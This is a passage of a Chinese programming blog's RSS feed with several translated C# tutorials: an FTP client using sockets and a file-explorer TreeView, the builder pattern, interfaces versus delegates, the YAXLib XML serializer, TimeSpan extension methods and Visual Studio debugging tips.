&lt;p&gt;在被动连接中。服务器通过一个“PASV”命令把自己的ip和端口发送给客户端。然后客户端通过该IP尝试连接服务器。对于发送文件非常有用。当我们发送文件的时候。优先使用“PASV”模式，如你们所说。大多数协议。像FTP/HTTP 使用ASCII编码，因为全球可用。因此我们会使用这种编码。你可以从下面得到FTP的命令列表&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;主动和被动都是对于服务器端来说的&lt;/p&gt;
&lt;h1 id=&#34;3-使用代码&#34;&gt;3 使用代码&lt;/h1&gt;
&lt;p&gt;现在我们已经为编写软件做好准备了。我们写些有用的代码吧。：）首先。我们“打开文件对话框”，集成到我们的窗体里。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;31-资源管理器组件&#34;&gt;3.1 资源管理器组件&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们需要一个资源管理器组件在软件界面可以看到我们所有的文件。这样我们才可以选择哪些文件来发送到FTP服务器，新建一个Windows窗体控件库（下载包中提供了）&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27937_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b2ae5f59d51b1a183a0ceea50a2c9497971422e7.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后看起来样子是上面这样。先添加一个TreeView，一些按钮，和一个搜索功能&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;TreeView.Nodes.Clear();
&lt;p&gt;TreeNode nodeD = new TreeNode();&lt;/p&gt;
&lt;p&gt;nodeD.Tag = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);&lt;/p&gt;
&lt;p&gt;nodeD.Text = &amp;ldquo;Desktop&amp;rdquo;;&lt;/p&gt;
&lt;p&gt;nodeD.ImageIndex = 10;&lt;/p&gt;
&lt;p&gt;nodeD.SelectedImageIndex = 10;&lt;/p&gt;
&lt;p&gt;TreeView.Nodes.Add(nodeD);&lt;/pre&gt;
 &lt;/p&gt;
&lt;/div&gt;
就像上面代码展示的那样。我们需要添加地一个主节点。我的文档。我的电脑等等。然后获得子目录。
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string[] dirList;
dirList = Directory.GetDirectories(parentNode.Tag.ToString());
Array.Sort(dirList);
if (dirList.Length == parentNode.Nodes.Count)
    return;
for (int i = 0; i &amp;lt; dirList.Length; i++)
{
    node = new TreeNode();
    node.Tag = dirList[i]; 
    node.Text = dirList[i].Substring(dirList[i].LastIndexOf(@&#34;\&#34;) + 1);
    node.ImageIndex = 1;
    parentNode.Nodes.Add(node);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以从下载包里看到完整的代码。我们还应该处理鼠标单击事件。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们有了一个资源管理器。还有FTP和VS所需要的所有信息。&lt;/p&gt;
&lt;p&gt;首先，我们连接服务器。我们应该怎么做呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;FTPSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AppendText(rchLog,&#34;Status : Resolving IP Address\n&#34;,Color.Red);
remoteAddress = Dns.GetHostEntry(Server).AddressList[0];
AppendText(rchLog, &#34;Status : IP Address Found -&amp;gt;&#34; + remoteAddress.ToString() + &#34;\n&#34;, Color.Red);
addrEndPoint = new IPEndPoint(remoteAddress, Port);
AppendText(rchLog,&#34;Status : EndPoint Found -&amp;gt;&#34; + addrEndPoint.ToString() + &#34;\n&#34;, Color.Red);
FTPSocket.Connect(addrEndPoint);
是的。我们需要一个socket连接到服务器 ，然后发送命令

AppendText(rchLog, &#34;Command : &#34; + msg + &#34;\n&#34;, Color.Blue);
Byte[] CommandBytes = Encoding.ASCII.GetBytes((msg + &#34;\r\n&#34;).ToCharArray());
FTPSocket.Send(CommandBytes, CommandBytes.Length, 0);
//read Response
ReadResponse();&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现生成器模式</title>
      <link>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 08 Oct 2012 13:11:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;h1 id=&#34;介绍&#34;&gt;介绍&lt;/h1&gt;
&lt;p&gt;本文讨论生成器设计模式，讨论该模式什么情况下使用，怎么实现。并且。最后会有一个简单的生成器模式的实现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;当我们的程序需要创建一个对象。而这个对象必须由很多不同的对象来构造的时候。为了构造最后的对象。我们不得不组合那些部分对象。最后我们会发现我们的代码被各种各样的部分对象的细节所弄的难以理解&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;为了说明上面的情况。我们做一个手机生产制造系统的例子。假定我们我们有一个已经安装在手机供应商那块的一个系统。现在供应商系那个要根据一些参数来创造一个新手机。比如触屏，操作系统，电池等。如果我们已经有了这些部分的对象，那么上述部分的任意组合将会导致客户端代码复杂难以管理。比如决定生产哪种手机的模块。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;生成器模式目的就是解决上述问题的。GoF定义生成器模式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Separate the construction of a complex object from its representation so that the same construction process can create different representations&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这个定义意味着我们不得不设计这个系统。通过一种客户端仅仅定义参数，而生成器则接管创建复杂对象 的方式。我们看一下生成器模式的类图。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/489ad862ea61f21ae79e749c31fb0aef3c0eea45.jpg&#34; title=&#34;gof&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后看看上图中的每一个类都表示什么&lt;/p&gt;
&lt;p&gt;ConcreteBuilder: 创建复杂产品的具体类.将会知道他已经创建的Product（产品），也就是他已经装配了的Product， 客户端通过该类得到Product对象.&lt;/p&gt;
&lt;p&gt;Builder: 创建Product的接口&lt;/p&gt;
&lt;p&gt;Director: 客户端代码，定义了哪些部分应该被组合在一起来创建具体的Product&lt;/p&gt;
&lt;p&gt;Product: 这是通过组合很多部分创建的对象&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;使用代码&#34;&gt;使用代码&lt;/h1&gt;
&lt;p&gt;我们现在跟随上述的定义，然后试着去实现一个基本的生成器模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们先在合适的地方定义Product的不同部分，我们简单的定义一些枚举类型，那么我们就可以通过组合不同的部分创建Product了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 一些helper枚举定义各种零件

public enum ScreenType

{

    ScreenType_TOUCH_CAPACITIVE,

    ScreenType_TOUCH_RESISTIVE,

    ScreenType_NON_TOUCH

};

public enum Battery

{

    MAH_1000,

    MAH_1500,

    MAH_2000

};

public enum OperatingSystem

{

    ANDROID,

    WINDOWS_MOBILE,

    WINDOWS_PHONE,

    SYMBIAN

};

public enum Stylus

{

    YES,

    NO

};&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后，我们看一下Product类，我们需要有一个可以通过装配创建的Product类，这里我们定义一个MobilePhone类，也就是概念里的Product类了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 这是 &#34;Product&#34; 类

class MobilePhone

{

    // 不同部分的字段

    string phoneName;      

    ScreenType phoneScreen;

    Battery phoneBattery;

    OperatingSystem phoneOS;

    Stylus phoneStylus;

    public MobilePhone(string name)

    {

        phoneName = name;

    }

    //公有属性访问这些部分

    public string PhoneName

    {

        get { return phoneName; }           

    }

    public ScreenType PhoneScreen

    {

        get { return phoneScreen; }

        set { phoneScreen = value; }

    }       

    public Battery PhoneBattery

    {

        get { return phoneBattery; }

        set { phoneBattery = value; }

    }       

    public OperatingSystem PhoneOS

    {

        get { return phoneOS; }

        set { phoneOS = value; }

    }      

    public Stylus PhoneStylus

    {

        get { return phoneStylus; }

        set { phoneStylus = value; }

    }

    // 显示手机相关信息的方法

    public override string ToString()

    {

        return string.Format(&#34;Name: {0}\nScreen: {1}\nBattery {2}\nOS: {3}\nStylus: {4}&#34;,

            PhoneName, PhoneScreen, PhoneBattery, PhoneOS, PhoneStylus);

    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>接口VS 委托</title>
      <link>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</link>
      <pubDate>Sun, 07 Oct 2012 08:31:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;对于指定的任务有不同的方案可供选择，通常是很好的。因为可能某一种方案会更加适合该任务，但是有时候做决定会很难。因为这些不同的方案有其各自的优缺点。&lt;/p&gt;
&lt;p&gt;我经常会停下来好好想想，是不是接口比委托更适合或者是更不适合某个任务。有时候我甚至会回去看我写的代码，这些代码刚开始使用委托来实现，我后来用接口替换掉。因此，是时候写篇文章来阐述一下这两种技术的优缺点了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;性能&#34;&gt;性能&lt;/h1&gt;
&lt;p&gt;我经常看到有人问接口是不是比委托更快啊。或者是不是相反。通常。别人给的答案会是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接口更快。委托相当慢&lt;/li&gt;
&lt;li&gt;委托更快，因为他们是指向方法的指针，接口则需要一个v-table(虚函数解析表)，然后找到委托&lt;/li&gt;
&lt;li&gt;他们一样快，但委托更容易使用
 &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;好吧。那些都是错的。也许在.Net 1中。委托真的很慢。但是事实是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;委托执行（execute）的时候更快&lt;/li&gt;
&lt;li&gt;接口获得（get）的时候更快
在下面这段代码中：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Action action = SomeMethod;&lt;/pre&gt;
&lt;p&gt;我们将得到一个Action(委托类型)来调用SomeMethod。问题是：委托是包含被调用方法的实例和指针的引用类型。而不仅仅只是一个指向方法的指针，通过引用类型，委托需要分配内存，因此，每一次你把一个方法变换成一个委托的时候。都会分配一个新的对象。&lt;/p&gt;
&lt;p&gt;如果委托是一个值类型。会有些不一样。但是他们不是。。&lt;/p&gt;
&lt;p&gt;另一方面，如果我们这样写代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IRunnable runnable = this;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果实现了IRunnable接口的对象。我们简单通过一个转换得到同样的引用。没有涉及内存分配。我们将可以通过下面的代码来进行速度比较：&lt;/p&gt;
&lt;p&gt;对于委托：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  Action action = SomeMethod;
  action();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对于接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  IRunnable runnable = this;
  runnable.Run();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt;我知道接口会更快。不是因为他们执行更快。而是因为每一次迭代，一个新的Action委托都会被分配。 但是。如果把委托和接口的获得语句放在循环之外。委托会更快一些。&lt;/p&gt;
&lt;p&gt;当创建事件的时候。举个例子。我们在给事件添加委托的时候，就只添加一次。这样。即使事件被触发再多次。也只进行了一次内存分配。&lt;/p&gt;
&lt;h2 id=&#34;那么谁赢了&#34;&gt;那么？谁赢了？&lt;/h2&gt;
&lt;p&gt;好。对于事件，委托将会更快些。&lt;/p&gt;
&lt;p&gt;但是。在说委托更好或是更快之前，我们再看另一种情况。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;匿名方法&#34;&gt;匿名方法&lt;/h1&gt;
&lt;p&gt;在我看来，匿名方法是委托最糟糕的使用。但是同时。也正在变成最普遍的用法。&lt;/p&gt;
&lt;p&gt;当你像这段代码这样调用的时候&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;for(int i=0; i&amp;lt;count; i++)
  MethodThatReceivesADelegate(() =&amp;gt; SomeCall(i));&lt;/pre&gt;
&lt;p&gt;事实上，编译器将会创建一个接受参数i的方法实例，然后创建另一个实例（即委托）来引用这个实例。&lt;/p&gt;
&lt;p&gt;如果用接口来替换的话。编译器将指挥分配单一的对象，该对象实现了接口&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;可能的抱怨&#34;&gt;可能的抱怨&lt;/h2&gt;
&lt;p&gt;一些人也许对那个接受参数i的方法实例的问题有所疑惑。他们可能认为，在每一次迭代中。实例里面的之被改变了。也许编译器可以优化这个委托的内存分配。实际只分配了一次。&lt;/p&gt;
&lt;p&gt;好把。对于委托的内存分配我不知道。但是。对于要分配一个接受参数i的单一实例，确实真的。也是一个bug。如果MethodThatReceivesADelegate 把委托传递给另一个线程。其他的线程也许会接收到错误的i值，在.net 4.5中。这块不会出错。因为。每一次迭代。一个新的对象被创建。这就能保证当委托被传递到另一个线程里的时候。结果总是正确的。但这也就意味着每次都会有一个新的委托会创建。&lt;/p&gt;
&lt;p&gt;如果MethodThatReceivesADelegate 仅仅使用委托一次。使用接口也许更好。不幸的是。我们没有办法实现匿名接口。&lt;/p&gt;
&lt;p&gt;好。如果是为了方便。委托更好。但是如果要求性能。在这种情况下。接口会更好。因为避免了一次不必要的内存分配。&lt;/p&gt;
&lt;p&gt;事实上，我创建了IRunnable接口是为了强制使用者实现了一个新的类型，而不是使用匿名委托。这样就可以解决在for循环（或是任何在foreach里使用的任何值）i值可变的问题，同时也有一定的性能提升。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;调用和动态调用&#34;&gt;调用和动态调用&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们知道有匿名委托，但是没有匿名接口，只使用一次的情况下，接口将会比委托有更好的性能。因为只请求一个对象而不是两个。&lt;/p&gt;
&lt;p&gt;这让我开始考虑，当一个方法接受一个只会执行一次的方法作为参数的时候，我应该使用委托还是是用接口。&lt;/p&gt;
&lt;p&gt;但是。更多的性能相关的情况下我们可以这样用。。&lt;/p&gt;
&lt;p&gt;你是否曾经有过要用动态调用代替直接委托调用的情况？一般是在编译时并不知道委托的参数类型的情况下。&lt;/p&gt;
&lt;p&gt;好。当有一个接口。在接口的方法里有一个方法调用的参数类型未定。我不知道为什么。但是反射调用和委托的动态调用都极慢。比直接对参数做转换都慢。而数组长度验证。然后放到一个try/catch块里会抛出TargetInvocationException 异常。&lt;/p&gt;
&lt;p&gt;因此。如果你有类似下面的代码：&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IDynamicInvokable
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;object DynamicInvoke(params object[] parameters);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
那么你可以创建你的委托接口，是IDynamicInvokable 接口的继承接口，像这样：
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IAction&amp;lt;T&amp;gt;:
&lt;p&gt;IDynamicInvokable&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;void Invoke(T parameter);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
这样你的用户就可以通过Invoke方法调用你的接口，如果他们在编译时不知道接口的类型。他们可以使用更泛化一些的IDynamicInvoke。
&lt;p&gt;注意：我讨厌泛型这个名字。对于我来说。IDynamicInvoke 是调用方法最泛型的的途径，而IAction&amp;lt;T&amp;gt; 是类型接口，因此，我我说泛型的时候。我其实是在说更加普遍无类型的调用泛型。而不是类型指定的泛型。&lt;/p&gt;
&lt;p&gt;那么，如果对委托做上千次调用。但是使用DynamicInvoke 代替Invoke，接口会做的更好&lt;/p&gt;
&lt;p&gt;我又一次的问我自己。匿名委托的简单性值得吗？仅仅为了更好的性能我就把让我的用户对我方法的调用变得困难？并且这真的会影响到程序的整体性能吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;泛型差异无类型的使用&#34;&gt;泛型，差异，无类型的使用&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我刚刚说我讨厌泛型的名字。因为使用泛型的代码通常是有类型的代码，而我们也许需要的无具体类型的代码，我认为这样更加泛一些。&lt;/p&gt;
&lt;p&gt;但是。让我好好讨论一下.net的泛型。假设你知道一个委托的参数数目，但是你不知道具体的类型，这和DynamicInvoke 是不一样的。因为这个方法。简单的把所有的参数当成一个数组。&lt;/p&gt;
&lt;p&gt;泛型具化或者是相反可以有一些帮助。但是很小。&lt;/p&gt;
&lt;p&gt;比如。我们可以把 &lt;code&gt;Func&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt; 当成 &lt;code&gt;Func&amp;amp;lt;object&amp;amp;gt; ``，或是把``Action&amp;amp;lt;object&amp;amp;gt;&lt;/code&gt; 看成 &lt;code&gt;Action&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;理由很简单，当返回一个值的时候（``Func``的情况），``string``是一个``object``。将不会做任何转换。将会简单地返回一个``string``，调用这会看成一个无类型的``object``。但是可以。而在``Action``这个情况下。它需要一个``object``，而``string&lt;/code&gt;.是可用的object，所以也可以。&lt;/p&gt;
&lt;p&gt;但是。如果你想要把&lt;code&gt;Func&amp;amp;lt;int&amp;amp;gt;&lt;/code&gt; 当作Func&amp;lt;object&amp;gt;。更广泛一点。想把所有的参数转换成object，可以吗？&lt;/p&gt;</description>
    </item>
    <item>
      <title>YAXLib---- XML序列化神器</title>
      <link>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</link>
      <pubDate>Fri, 05 Oct 2012 16:24:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</guid>
      <description>&lt;p&gt;今天早上翻译了&lt;a href=&#34;http://www.codeproject.com/Articles/34045/Yet-Another-XML-Serialization-Library-for-the-NET&#34;&gt;Yet-Another-XML-Serialization-Library-for-the-NET&lt;/a&gt;，刚开始以为很短。翻译着发现不对。。然后你不逼你自己。怎么知道自己做不到。于是。将近4个小时把30页的文档翻译完了。因为文章很长。所以本文只列出前两部分。我把翻译好的做成了pdf，&lt;/p&gt;
&lt;p&gt;文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h2&gt;
&lt;p&gt;在本文中，会把要提到的XML序列化库叫做YAXLib，我们知道。.Net 还是提供了一些序列化功能的，尤其是XmlSerializer，该类被程序员广泛使用用来序列化对象成XML，当然，反序列化也是可以的。我认为XmlSerializer类的问题有几下几点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员不能自由的选择生成的xml的结构&lt;/li&gt;
&lt;li&gt;不支持序列化一些集合类，比如Dictionary&amp;lt;,&amp;gt; 或者IEnumerable&amp;lt;&amp;gt;的属性&lt;/li&gt;
&lt;li&gt;当反序列化的时候，如果缺失了一些域，则反序列化失败，这就使得用来存储一ixekeyi被用户编辑的配置文件变得不合适了。
 &lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2-为什么使用yaxlib&#34;&gt;2 为什么使用YAXLib&lt;/h2&gt;
&lt;p&gt;YAXLib解决上述问题的特点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员可以决定xml文件的结构，一个属性可以是一个子元素，或者是其他属性的属性，或者是一个在类中没有对应属性的元素。&lt;/li&gt;
&lt;li&gt;集合类也可以被序列化成一个逗号分隔（也可以是其他任何分隔符）的数据项列表，而且。为Dictionary&amp;lt;,&amp;gt;对象实现了一些特殊的格式化功能，这样，使得程序员可以完全控制生成的xml文件的结构&lt;/li&gt;
&lt;li&gt;他支持System.Collections.Generic 命名空间中的所有泛型集合类（像&lt;code&gt;Dictionary&lt;/code&gt;, &lt;code&gt;HashSet&lt;/code&gt;, &lt;code&gt;LinkedList&lt;/code&gt;, &lt;code&gt;List&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;,&lt;code&gt;SortedDictionary&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;） 和在&lt;code&gt;System.Collections&lt;/code&gt;  命名空间中的非泛型集合类（ &lt;code&gt;ArrayList&lt;/code&gt;, &lt;code&gt;BitArray&lt;/code&gt;, &lt;code&gt;Hashtable&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;）非泛型集合类可以包含多种不同的对象，而且，库还支持序列化和反序列化一维，多维，不规则的数组。&lt;/li&gt;
&lt;li&gt;支持通过对基类/接口的引用，实现对一些对象集合的序列化和反序列化。&lt;/li&gt;
&lt;li&gt;支持多级反序列化&lt;/li&gt;
&lt;li&gt;程序员可以为生成的xml提供注释&lt;/li&gt;
&lt;li&gt;当进行反序列化的时候，程序员可以选择性对于那些与类的属性相关，但没有出现在xml文件中的数据应该如何处理。这种情况下可以看错是一个错误，然后类库抛出一些异常，或者记录错误，或者可以被看成一个警告，然后用程序员预定义的值赋给对应的属性，而且，程序可以可以选择忽略这个问题，相关的异常将既不抛出也不作任何记录。请查看保留空引用标识那一节 看看什么时候可以忽略孤立的数据也许对你有帮助&lt;/li&gt;
&lt;li&gt;程序员可以自己选择错误处理规则，对于数据敏感的应用程序，程序员可以选择在任何异常的情况下，库都应该抛出并且记录异常，对于其他的一些情况（比如要求不那么高的配置文件的存储），程序员可以选择把异常仅仅看成一个警告，仅仅记录一下，让程序的其他部分继续运行。
文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>简单扩展方法增强代码可读性</title>
      <link>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</link>
      <pubDate>Thu, 04 Oct 2012 09:03:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</guid>
      <description>&lt;p&gt;本文技术含量不高，但是思路可以借鉴。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你处理计时器，时间间隔，或是其他关于日期的计算的时候。你必然会使用TimeSpan类。&lt;/p&gt;
&lt;p&gt;我觉得写出下面的代码可读性并不好。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 1个表示5小时的时间间隔
var theTimespan = new TimeSpan(0, 5, 0, 0, 0);&lt;/pre&gt;
&lt;p&gt;而下面的代码就要好一些&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//一个表示5小时的时间间隔
var theTimespan = 5.Hours();&lt;/pre&gt;
&lt;p&gt;** 扩展方法**&lt;/p&gt;
&lt;p&gt;使用这些扩展了int类的方法。可以使得创建TimeSpan可读性更好&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static TimeSpan Days(this int value)
{
    return new TimeSpan(value, 0, 0, 0, 0);
}

public static TimeSpan Years(this int value)
{
    var dt = DateTime.Now.AddYears(value);
    return (dt - DateTime.Now).Duration();
}

public static TimeSpan Hours(this int value)
{
    return new TimeSpan(0, value, 0, 0, 0);
}

public static TimeSpan Minutes(this int value)
{
    return new TimeSpan(0, 0, value, 0, 0);
}

public static TimeSpan Seconds(this int value)
{
    return new TimeSpan(0, 0, 0, value, 0);
}

public static TimeSpan Milliseconds(this int value)
{
    return new TimeSpan(0, 0, 0, 0, value);
}&lt;/pre&gt;
&lt;p&gt;许可&lt;/p&gt;
&lt;p&gt;本文所有源代码包括文件在CPOL下授权。。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/469097/Simple-extension-methods-for-code-readability&#34;&gt;Simple-extension-methods-for-code-readability&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>11个高效的VS调试技巧</title>
      <link>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</link>
      <pubDate>Wed, 03 Oct 2012 10:45:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调试是软件开发周期中的一个很重要的部分，有时很有挑战性，有时候则让程序员迷惑，有时候让程序员发疯，但是。可以肯定的是，对于任何不是太那个微不足道的程序来说，调试是不可避免的。近年来，调试工具的发展已经使得很多调试任务简单省时了。&lt;/p&gt;
&lt;p&gt;本文总结了十个调试技巧，当你使用VS的时候可以节省你很多时间。&lt;/p&gt;
&lt;p&gt;1. 悬停鼠标查看表达式&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27679_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b9e01a5158e02f8079c7dc331f56110f3e0b82d.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;调试有时候很有挑战性，当你步入一个函数想看看哪块出错的时候，查看调用栈来想想值是从哪来的。另一些情况下，则需要添加一些监视表达式，或者查看局部变量列表，这通常还是花费一些时间的，但是。如果你把你鼠标指向你感兴趣的一个变量。你会发现事情简单多了。而且，类和结构体可以通过单击展开。这样。你就可以方便快捷的找到你想查看的变量了。&lt;/p&gt;
&lt;p&gt;2. 实时改变值
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27680_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eade577f5ea39d3b970613ac3123610b67e427cb.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
